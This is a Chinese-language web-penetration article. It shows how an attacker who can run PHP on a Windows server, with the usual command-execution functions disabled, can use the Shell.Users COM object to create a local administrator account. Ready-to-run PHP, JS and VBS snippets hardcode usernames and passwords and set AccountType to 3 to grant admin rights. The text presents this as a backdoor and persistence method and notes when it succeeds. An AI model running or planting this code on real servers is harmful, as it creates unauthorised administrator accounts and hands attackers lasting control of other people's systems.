在 PHP 环境中,当常用的命令执行函数——例如 exec、system、shell_exec、proc_open、passthru、popen,以及 WScript.Shell 组件——均被禁用时,许多攻击者会认为这条路已彻底堵死。然而,事实上仍存在一些隐蔽的绕过技巧,比如利用 COM 组件直接操作 Windows 系统用户。以下这段 PHP 代码便是一个典型的示例:
PHP 版Shell.Users加管理员帐号";
$username="IceSkin";
$password="skin.com";
$su = new COM("Shell.Users");
$h=$su->create($username);
$h->changePassword($password,"");
$h->setting["AccountType"] = 3;//这句很重要可以把用户加入administrators 组
?>
该代码的关键在于 new COM("Shell.Users"),它直接调用 Windows 系统的 Shell.Users 组件,从而绕过了所有被禁用的命令执行函数。在 Apache 搭建的 Web 服务器上,通常能够成功执行并创建一个本地管理员账户。但在 IIS 环境下,由于权限限制往往难以成功;至于 Nginx 和 Lighttpd,目前尚无完整的测试结果。
实际上,这种思路并非首创。早在 LCX 时代,安全研究人员就已通过 JS 或 VBS 脚本采用类似方法实现相同效果:
JS 版本:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
VBS 版本:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
无论是通过 PHP 的 COM 组件,还是在客户端执行 JS/VBS 脚本,其原理完全相同:利用 Shell.Users 对象创建一个新用户,然后将 AccountType 属性设置为 3,从而将其加入 Administrators 组。该技术在渗透测试中常被用作后门或权限维持的有效手段。
需要特别注意的是,此代码的成功与否高度依赖于 Web 服务器的运行权限和系统配置。若 PHP 以系统权限运行(例如某些配置不当的 Apache 环境),则成功率极高;但若运行在低权限账户下,Shell.Users 组件可能根本无法创建用户。此外,现代 Windows 系统的 UAC(用户账户控制)机制也可能拦截此类操作。因此,它并非“万能钥匙”,而是在特定条件下值得尝试的渗透突破口。
